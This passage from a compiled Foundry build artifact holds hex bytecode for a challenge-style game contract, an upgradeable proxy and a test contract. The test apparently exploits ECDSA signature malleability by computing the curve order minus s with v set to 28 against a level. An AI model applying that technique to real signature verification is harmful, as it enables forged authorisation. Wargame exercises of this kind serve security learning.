162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e01565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db2565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db2565b611bf89086611dcb565b611c029190611e15565b611c0c9190611de2565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b929592945050506040919091013590565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611dab57611dab611d86565b5060010190565b81810381811115611dc557611dc5611d86565b92915050565b8082028115828204841417611dc557611dc5611d86565b5f82611dfc57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc557611dc5611d8656fea26469706673582212209c1af9c0baba9c7219e292e60771a19a40802b3f33e6bfb97158b177cca4c14e64736f6c634300081a0033608060405234801561000f575f80fd5b50604051610d72380380610d7283398101604081905261002e916103ff565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b179091528390829061008890839083905f9061009f16565b506100949050826100ca565b5050505050506104ae565b6100a883610137565b5f825111806100b45750805b156100c5576100c38383610176565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6101095f80516020610d2b833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a1610134816101a2565b50565b6101408161023d565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b606061019b8383604051806060016040528060278152602001610d4b602791396102d1565b9392505050565b6001600160a01b03811661020c5760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f80516020610d2b8339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b6102aa5760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b6064820152608401610203565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61021c565b60606001600160a01b0384163b6103395760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b6064820152608401610203565b5f80856001600160a01b0316856040516103539190610461565b5f60405180830381855af49150503d805f811461038b576040519150601f19603f3d011682016040523d82523d5f602084013e610390565b606091505b5090925090506103a18282866103ab565b9695505050505050565b606083156103ba57508161019b565b8251156103ca5782518084602001fd5b8160405162461bcd60e51b8152600401610203919061047c565b80516001600160a01b03811681146103fa575f80fd5b919050565b5f805f60608486031215610411575f80fd5b61041a846103e4565b9250610428602085016103e4565b9150610436604085016103e4565b90509250925092565b5f5b83811015610459578181015183820152602001610441565b50505f910152565b5f825161047281846020870161043f565b9190910192915050565b602081525f825180602084015261049a81604085016020870161043f565b601f01601f19169190910160400192915050565b610870806104bb5f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f61039061030b565b604080516001600160a01b03928316815291841660208301520160405180910390a16101538161044d565b5f7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc61032e565b6103eb81610525565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b60606104468383604051806060016040528060278152602001610814602791396105c9565b9392505050565b6001600160a01b0381166104c95760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016102db565b807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b80547fffffffffffffffffffffffff0000000000000000000000000000000000000000166001600160a01b039290921691909117905550565b6001600160a01b0381163b6105a25760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201527f6f74206120636f6e74726163740000000000000000000000000000000000000060648201526084016102db565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc6104ec565b60606001600160a01b0384163b6106485760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f60448201527f6e7472616374000000000000000000000000000000000000000000000000000060648201526084016102db565b5f80856001600160a01b03168560405161066291906107c6565b5f60405180830381855af49150503d805f811461069a576040519150601f19603f3d011682016040523d82523d5f602084013e61069f565b606091505b50915091506106af8282866106b9565b9695505050505050565b606083156106c8575081610446565b8251156106d85782518084602001fd5b8160405162461bcd60e51b81526004016102db91906107e1565b80356001600160a01b0381168114610708575f80fd5b919050565b5f6020828403121561071d575f80fd5b610446826106f2565b5f805f60408486031215610738575f80fd5b610741846106f2565b9250602084013567ffffffffffffffff81111561075c575f80fd5b8401601f8101861361076c575f80fd5b803567ffffffffffffffff811115610782575f80fd5b866020828401011115610793575f80fd5b939660209190910195509293505050565b5f5b838110156107be5781810151838201526020016107a6565b50505f910152565b5f82516107d78184602087016107a4565b9190910192915050565b602081525f82518060208401526107ff8160408501602087016107a4565b601f01601f1916919091016040019291505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a264697066735822122000ecb119cd95f0bc2e62578efd2c2bb7cdbdb0bdd78bbc828307f8c8ce9b911a64736f6c634300081a0033b53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220a7d2fa475b2c6bd7d5f6950689cb72b550b9a5619e5263def1ed028652f51be564736f6c634300081a0033","sourceMap":"3126:44:2:-:0;;;3166:4;-1:-1:-1;;3126:44:2;;;;;;;1016:26:12;;;;;;;;;;-1:-1:-1;;;420:32:162;216:27:163;366:2837:142;420:32:162;;;;259:12:163;366:2837:142;420:32:162;410:43;382:71;;549:77:142;521:107;;662:77;634:107;;747:12;;;;;;757:2;747:12;;;366:2837;;;;;;;;;;;;;;;;","linkReferences":{}},"deployedBytecode":{"object":"0x608060405234801561000f575f80fd5b5060043610610184575f3560e01c8063832e5fc2116100dd578063b5d11e9911610088578063e20c9f7111610063578063e20c9f71146102e6578063f82de7b0146102ee578063fa7626d414610301575f80fd5b8063b5d11e99146102aa578063b90a68fa146102b2578063ba414fa6146102de575f80fd5b8063916a17c6116100b8578063916a17c6146102775780639b59adbc1461027f578063b5508aa9146102a2575f80fd5b8063832e5fc21461024757806385226c811461024f57806385db81cc14610264575f80fd5b80632ade38801161013d57806361deaae51161011857806361deaae51461021757806366d9a9a01461021f578063792e11f514610234575f80fd5b80632ade3880146101f25780633e5e3c23146102075780633f7286f41461020f575f80fd5b80631c7db6691161016d5780631c7db6691461019a5780631ed7831c146101ca5780632356661a146101df575f80fd5b80630a9254e4146101885780630b3ac6e014610192575b5f80fd5b61019061030e565b005b6101906107b4565b6101ad6101a8366004611f73565b61090e565b6040516001600160a01b0390911681526020015b60405180910390f35b6101d2610ac9565b6040516101c19190611fb1565b6101ad6101ed366004612091565b610b29565b6101fa610ce6565b6040516101c19190612158565b6101d2610e22565b6101d2610e80565b610190610ede565b610227611016565b6040516101c19190612221565b6101d26102423660046122e5565b61110c565b61019061128e565b61025761143a565b6040516101c191906122fc565b6101ad610272366004612353565b611505565b610227611619565b61029261028d36600461236e565b61170f565b60405190151581526020016101c1565b610257611896565b610190611961565b601f805460408051602080820184905282518083038201815291830190925280519101209091556101ad565b610292611b4a565b6101d2611c1a565b6101906102fc3660046122e5565b611c78565b601e546102929060ff1681565b5f610319600261110c565b9050805f8151811061032d5761032d6123a5565b60209081029190910101516022805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600560448201527f4f776e65720000000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156103e1575f80fd5b505af11580156103f3573d5f803e3d5ffd5b505050508060018151811061040a5761040a6123a5565b60209081029190910101516023805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b039092169182179055604080516318caf8e360e31b815260048101929092526024820152600660448201527f506c6179657200000000000000000000000000000000000000000000000000006064820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c657c718906084015f604051808303815f87803b1580156104be575f80fd5b505af11580156104d0573d5f803e3d5ffd5b50506022546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b15801561052a575f80fd5b505af115801561053c573d5f803e3d5ffd5b505060225461055692506001600160a01b03169050611505565b6020805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b03929092169190911790556040515f9061059190611f2b565b604051809103905ff0801580156105aa573d5f803e3d5ffd5b506020546040517f202023d40000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015292935091169063202023d4906024015f604051808303815f87803b15801561060a575f80fd5b505af115801561061c573d5f803e3d5ffd5b505050507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561067a575f80fd5b505af115801561068c573d5f803e3d5ffd5b50506023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d92506306447d5691506024015f604051808303815f87803b1580156106e6575f80fd5b505af11580156106f8573d5f803e3d5ffd5b505060205461071b92506001600160a01b031690508266038d7ea4c6800061090e565b60215f6101000a8154816001600160a01b0302191690836001600160a01b031602179055507f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166390c5013b6040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561079a575f80fd5b505af11580156107ac573d5f803e3d5ffd5b505050505050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b15801561080a575f80fd5b505af115801561081c573d5f803e3d5ffd5b505060215460405163404d55c960e11b81525f6004820181905293506001600160a01b03909116915063809aab9290602401602060405180830381865afa158015610869573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061088d91906123b9565b602654602480546025546023546040516303e8cd5760e41b815260ff90951660048601529284019190915260448301526001600160a01b03908116606483015291925090821690633e8cd570906084015b5f604051808303815f87803b1580156108f5575f80fd5b505af1158015610907573d5f803e3d5ffd5b5050505050565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b158015610969575f80fd5b505af115801561097b573d5f803e3d5ffd5b50506040517fdfc86b170000000000000000000000000000000000000000000000000000000081526001600160a01b0386811660048301528716925063dfc86b17915084906024015f604051808303818588803b1580156109da575f80fd5b505af11580156109ec573d5f803e3d5ffd5b50505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af1158015610a50573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610a779190810190612453565b90508060018251610a8891906125e8565b81518110610a9857610a986123a5565b60200260200101515f0151600281518110610ab557610ab56123a5565b60200260200101515f1c9150509392505050565b60606016805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f20905b81546001600160a01b03168152600190910190602001808311610b01575b5050505050905090565b5f807f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663d930a0e66040518163ffffffff1660e01b81526004015f60405180830381865afa158015610b88573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610baf91908101906125fb565b90505f818485604051602001610bc6929190612648565b60408051601f1981840301815290829052610be492916020016126f2565b60408051601f19818403018152908290527f60f9bb1100000000000000000000000000000000000000000000000000000000825291505f90737109709ecfa91a80626ff3989d68f67f5b1dd12d906360f9bb1190610c46908590600401612720565b5f60405180830381865afa158015610c60573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052610c8791908101906125fb565b90505f610cd26040518060400160405280601081526020017f2e62797465636f64652e6f626a6563740000000000000000000000000000000081525083611ce990919063ffffffff16565b90508051602082015ff09695505050505050565b6060601d805480602002602001604051908101604052809291908181526020015f905b82821015610e19575f84815260208082206040805180820182526002870290920180546001600160a01b03168352600181018054835181870281018701909452808452939591948681019491929084015b82821015610e02578382905f5260205f20018054610d7790612732565b80601f0160208091040260200160405190810160405280929190818152602001828054610da390612732565b8015610dee5780601f10610dc557610100808354040283529160200191610dee565b820191905f5260205f20905b815481529060010190602001808311610dd157829003601f168201915b505050505081526020019060010190610d5a565b505050508152505081526020019060010190610d09565b50505050905090565b60606018805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610b01575050505050905090565b60606017805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610b01575050505050905090565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015610f34575f80fd5b505af1158015610f46573d5f803e3d5ffd5b505060215460405163404d55c960e11b81525f6004820181905293506001600160a01b03909116915063809aab9290602401602060405180830381865afa158015610f93573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610fb791906123b9565b602654602480546025546040517f259aa24000000000000000000000000000000000000000000000000000000000815260ff90941660048501529183015260448201529091506001600160a01b0382169063259aa240906064016108de565b6060601b805480602002602001604051908101604052809291908181526020015f905b82821015610e19575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156110f457602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116110a15790505b50505050508152505081526020019060010190611039565b60605f8267ffffffffffffffff81111561112857611128611ffc565b604051908082528060200260200182016040528015611151578160200160208202803683370190505b5090505f5b83811015611287575f306001600160a01b031663b90a68fa6040518163ffffffff1660e01b81526004016020604051808303815f875af115801561119c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c091906123b9565b6040517fc88a5e6d0000000000000000000000000000000000000000000000000000000081526001600160a01b038216600482015268056bc75e2d631000006024820152909150737109709ecfa91a80626ff3989d68f67f5b1dd12d9063c88a5e6d906044015f604051808303815f87803b15801561123d575f80fd5b505af115801561124f573d5f803e3d5ffd5b5050505080838381518110611266576112666123a5565b6001600160a01b039092166020928302919091019091015250600101611156565b5092915050565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b1580156112e4575f80fd5b505af11580156112f6573d5f803e3d5ffd5b50506025547ffffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd036414192505f915061132b90836125e8565b60215460405163404d55c960e11b81525f600482018190529293506001600160a01b039091169063809aab9290602401602060405180830381865afa158015611376573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061139a91906123b9565b602480546023546040516303e8cd5760e41b8152601c600482015292830191909152604482018590526001600160a01b03908116606483015291925090821690633e8cd570906084015f604051808303815f87803b1580156113fa575f80fd5b505af115801561140c573d5f803e3d5ffd5b5050602054602154611435935061143092506001600160a01b03918216911661170f565b611d86565b505050565b6060601a805480602002602001604051908101604052809291908181526020015f905b82821015610e19578382905f5260205f2001805461147a90612732565b80601f01602080910402602001604051908101604052809291908181526020018280546114a690612732565b80156114f15780601f106114c8576101008083540402835291602001916114f1565b820191905f5260205f20905b8154815290600101906020018083116114d457829003601f168201915b50505050508152602001906001019061145d565b5f8060405161151390611f38565b604051809103905ff08015801561152c573d5f803e3d5ffd5b5090505f60405161153c90611f45565b604051809103905ff080158015611555573d5f803e3d5ffd5b50848360405161156490611f52565b6001600160a01b03938416815291831660208301529091166040820152606001604051809103905ff08015801561159d573d5f803e3d5ffd5b506040517fbe117dfd0000000000000000000000000000000000000000000000000000000081526001600160a01b0380831660048301529192509083169063be117dfd906024015f604051808303815f87803b1580156115fb575f80fd5b505af115801561160d573d5f803e3d5ffd5b50939695505050505050565b6060601c805480602002602001604051908101604052809291908181526020015f905b82821015610e19575f8481526020908190206040805180820182526002860290920180546001600160a01b031683526001810180548351818702810187019094528084529394919385830193928301828280156116f757602002820191905f5260205f20905f905b82829054906101000a900460e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190600401906020826003010492830192600103820291508084116116a45790505b5050505050815250508152602001906001019061163c565b5f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b03166341af2f526040518163ffffffff1660e01b81526004015f604051808303815f87803b15801561176a575f80fd5b505af115801561177c573d5f803e3d5ffd5b50506040517fc882d7c20000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301528616925063c882d7c291506024015f604051808303815f87803b1580156117d9575f80fd5b505af11580156117eb573d5f803e3d5ffd5b505050505f7f885cb69240a935d632d79c317109709ecfa91a80626ff3989d68f67f5b1dd12d5f1c6001600160a01b031663191553a46040518163ffffffff1660e01b81526004015f604051808303815f875af115801561184e573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f191682016040526118759190810190612453565b905060018151111561188b576001915050611890565b5f9150505b92915050565b60606019805480602002602001604051908101604052809291908181526020015f905b82821015610e19578382905f5260205f200180546118d690612732565b80601f016020809104026020016040519081016040528092919081815260200182805461190290612732565b801561194d5780601f106119245761010080835404028352916020019161194d565b820191905f5260205f20905b81548152906001019060200180831161193057829003601f168201915b5050505050815260200190600101906118b9565b60215460405163404d55c960e11b81525f60048201819052916001600160a01b03169063809aab9290602401602060405180830381865afa1580156119a8573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906119cc91906123b9565b9050611a39816001600160a01b03166366fa19326040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a31919061276a565b610539611dfc565b611ab6816001600160a01b031663f77c47916040518163ffffffff1660e01b8152600401602060405180830381865afa158015611a78573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611a9c91906123b9565b7342069d82d9592991704e6e41bf2589a76ead1a91611e78565b6023546040516303223eab60e11b81526001600160a01b039091166004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d906306447d56906024015f604051808303815f87803b158015611b0c575f80fd5b505af1158015611b1e573d5f803e3d5ffd5b5050602054602154611b479350611b4292506001600160a01b03918216911661170f565b611ed9565b50565b6008545f9060ff1615611b61575060085460ff1690565b6040517f667f9d70000000000000000000000000000000000000000000000000000000008152737109709ecfa91a80626ff3989d68f67f5b1dd12d600482018190527f6661696c6564000000000000000000000000000000000000000000000000000060248301525f9163667f9d7090604401602060405180830381865afa158015611bef573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611c13919061276a565b1415905090565b60606015805480602002602001604051908101604052809291908181526020018280548015610b1f57602002820191905f5260205f209081546001600160a01b03168152600190910190602001808311610b01575050505050905090565b5f611c838243612781565b6040517f1f7b4f3000000000000000000000000000000000000000000000000000000000815260048101829052909150737109709ecfa91a80626ff3989d68f67f5b1dd12d90631f7b4f30906024015f604051808303815f87803b15801561079a575f80fd5b6040517ffd921be8000000000000000000000000000000000000000000000000000000008152606090737109709ecfa91a80626ff3989d68f67f5b1dd12d9063fd921be890611d3e9086908690600401612794565b5f60405180830381865afa158015611d58573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052611d7f91908101906127c1565b9392505050565b6040517f0c9fd5810000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d90630c9fd581906024015b5f6040518083038186803b158015611dea575f80fd5b505afa158015610907573d5f803e3d5ffd5b6040517f98296c540000000000000000000000000000000000000000000000000000000081526004810183905260248101829052737109709ecfa91a80626ff3989d68f67f5b1dd12d906398296c54906044015b5f6040518083038186803b158015611e66575f80fd5b505afa1580156107ac573d5f803e3d5ffd5b6040517f515361f60000000000000000000000000000000000000000000000000000000081526001600160a01b03808416600483015282166024820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063515361f690604401611e50565b6040517fa59828850000000000000000000000000000000000000000000000000000000081528115156004820152737109709ecfa91a80626ff3989d68f67f5b1dd12d9063a598288590602401611dd4565b61132e806127f483390190565b610ae180613b2283390190565b611e7a8061460383390190565b610d728061647d83390190565b6001600160a01b0381168114611b47575f80fd5b5f805f60608486031215611f85575f80fd5b8335611f9081611f5f565b92506020840135611fa081611f5f565b929592945050506040919091013590565b602080825282518282018190525f918401906040840190835b81811015611ff15783516001600160a01b0316835260209384019390920191600101611fca565b509095945050505050565b634e487b7160e01b5f52604160045260245ffd5b6040516060810167ffffffffffffffff8111828210171561203357612033611ffc565b60405290565b604051601f8201601f1916810167ffffffffffffffff8111828210171561206257612062611ffc565b604052919050565b5f67ffffffffffffffff82111561208357612083611ffc565b50601f01601f191660200190565b5f602082840312156120a1575f80fd5b813567ffffffffffffffff8111156120b7575f80fd5b8201601f810184136120c7575f80fd5b80356120da6120d58261206a565b612039565b8181528560208385010111156120ee575f80fd5b816020840160208301375f91810160200191909152949350505050565b5f5b8381101561212557818101518382015260200161210d565b50505f910152565b5f815180845261214481602086016020860161210b565b601f01601f19169290920160200192915050565b5f602082016020835280845180835260408501915060408160051b8601019250602086015f5b8281101561221557603f19878603018452815180516001600160a01b03168652602090810151604082880181905281519088018190529101906060600582901b8801810191908801905f5b818110156121fb57605f198a85030183526121e584865161212d565b60209586019590945092909201916001016121c9565b50919750505060209485019492909201915060010161217e565b50929695505050505050565b5f602082016020835280845180835260408501915060408160051b8601019250602086015f5b8281101561221557868503603f19018452815180516001600160a01b03168652602090810151604082880181905281519088018190529101905f9060608801905b808310156122cd577fffffffff000000000000000000000000000000000000000000000000000000008451168252602082019150602084019350600183019250612288565b50965050506020938401939190910190600101612247565b5f602082840312156122f5575f80fd5b5035919050565b5f602082016020835280845180835260408501915060408160051b8601019250602086015f5b8281101561221557603f1987860301845261233e85835161212d565b94506020938401939190910190600101612322565b5f60208284031215612363575f80fd5b8135611d7f81611f5f565b5f806040838503121561237f575f80fd5b823561238a81611f5f565b9150602083013561239a81611f5f565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f602082840312156123c9575f80fd5b8151611d7f81611f5f565b5f67ffffffffffffffff8211156123ed576123ed611ffc565b5060051b60200190565b5f6124046120d58461206a565b9050828152838383011115612417575f80fd5b611d7f83602083018461210b565b5f82601f830112612434575f80fd5b611d7f838351602085016123f7565b805161244e81611f5f565b919050565b5f60208284031215612463575f80fd5b815167ffffffffffffffff811115612479575f80fd5b8201601f81018413612489575f80fd5b80516124976120d5826123d4565b8082825260208201915060208360051b8501019250868311156124b8575f80fd5b602084015b838110156125c957805167ffffffffffffffff8111156124db575f80fd5b85016060818a03601f190112156124f0575f80fd5b6124f8612010565b602082015167ffffffffffffffff811115612511575f80fd5b82016020810190603f018b13612525575f80fd5b80516125336120d5826123d4565b8082825260208201915060208360051b85010192508d831115612554575f80fd5b6020840193505b8284101561257657835182526020938401939091019061255b565b8452505050604082015167ffffffffffffffff811115612594575f80fd5b6125a38b602083860101612425565b6020830152506125b560608301612443565b6040820152845250602092830192016124bd565b509695505050505050565b634e487b7160e01b5f52601160045260245ffd5b81810381811115611890576118906125d4565b5f6020828403121561260b575f80fd5b815167ffffffffffffffff811115612621575f80fd5b8201601f81018413612631575f80fd5b612640848251602084016123f7565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f835161267f81600585016020880161210b565b7f2e736f6c2f00000000000000000000000000000000000000000000000000000060059184019182015283516126bc81600a84016020880161210b565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f835161270381846020880161210b565b83519083019061271781836020880161210b565b01949350505050565b602081525f611d7f602083018461212d565b600181811c9082168061274657607f821691505b60208210810361276457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f6020828403121561277a575f80fd5b5051919050565b80820180821115611890576118906125d4565b604081525f6127a6604083018561212d565b82810360208401526127b8818561212d565b95945050505050565b5f602082840312156127d1575f80fd5b815167ffffffffffffffff8111156127e7575f80fd5b6126408482850161242556fe6080604052348015600e575f80fd5b50601633601a565b6069565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6112b8806100765f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b6100856100803660046104c4565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d83660046104e6565b610249565b6040519015158152602001610099565b3480156100f8575f80fd5b506100706101073660046104c4565b61034e565b6101146103e3565b61011d5f61043c565b565b5f80610538604051610130906104a3565b908152602001604051809103905ff08015801561014f573d5f803e3d5ffd5b5090505f60405180606001604052807f1932cb842d3e27f54f79f7be0289437381ba2410fdefbae36850bee9c41e3b9181526020017f78489c64a0db16c40ef986beccc8f069ad5041e5b992d76fe76bba057d9abff28152602001601b8152506040516020016101bf919061051d565b60408051601f19818403018152908290527f61a423b100000000000000000000000000000000000000000000000000000000825291506001600160a01b038316906361a423b19061021490849060040161054d565b5f604051808303815f87803b15801561022b575f80fd5b505af115801561023d573d5f803e3d5ffd5b50939695505050505050565b6040517f809aab920000000000000000000000000000000000000000000000000000000081525f6004820181905290839082906001600160a01b0383169063809aab9290602401602060405180830381865afa1580156102ab573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906102cf9190610598565b9050836001600160a01b0316816001600160a01b031663f77c47916040518163ffffffff1660e01b8152600401602060405180830381865afa158015610317573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061033b9190610598565b6001600160a01b03161495945050505050565b6103566103e3565b6001600160a01b0381166103d75760405162461bcd60e51b815260206004820152602660248201527f4